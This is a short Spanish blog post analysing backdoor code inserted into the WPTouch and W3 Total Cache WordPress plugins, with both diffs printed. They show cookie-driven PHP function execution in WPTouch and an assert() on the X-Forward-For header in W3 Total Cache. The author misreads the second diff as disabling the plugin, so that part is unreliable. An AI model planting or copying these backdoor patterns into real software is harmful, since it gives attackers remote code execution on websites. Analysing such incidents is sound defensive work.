Buayacorp
Código insertado a WPTouch y WP Total Cache
Junio 22nd, 2011 - [Enlace local]
Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:
Index: /wptouch/trunk/wptouch.php =================================================================== --- /wptouch/trunk/wptouch.php (revision 397079) +++ /wptouch/trunk/wptouch.php (revision 399276) @@ -511,4 +511,6 @@ if (isset($_COOKIE[$key])) { $this->desired_view = $_COOKIE[$key]; + if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2])) + $this->desired_view = $matches[1].$matches[2]; } else { if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {
En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.
Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.
Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php =================================================================== --- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php (revision 399488) +++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php (revision 390604) @@ -103,5 +103,5 @@ $this->_request_uri = $_SERVER['REQUEST_URI']; $this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime'); - $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic'); + $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache'); if ($this->_config->get_boolean('mobile.enabled')) { @@ -746,13 +746,4 @@ /** - * Skip if proxy - */ - if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) { - $this->cache_reject_reason = 'proxy'; - - return false; - } - - /** * Skip if posting */ @@ -932,12 +923,9 @@ break; - case 'file_generic': + case 'file_pgcache': $engineConfig = array( - 'exclude' => array( - '.htaccess' - ), - 'expire' => $this->_lifetime, 'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR, 'locking' => $this->_config->get_boolean('pgcache.file.locking'), + 'expire' => $this->_lifetime, 'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush') ); @@ -1010,9 +998,5 @@ */ function _check_ua() { - $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array( - W3TC_POWERED_BY - )); - - foreach ($uas as $ua) { + foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) { if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) { return false;
Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.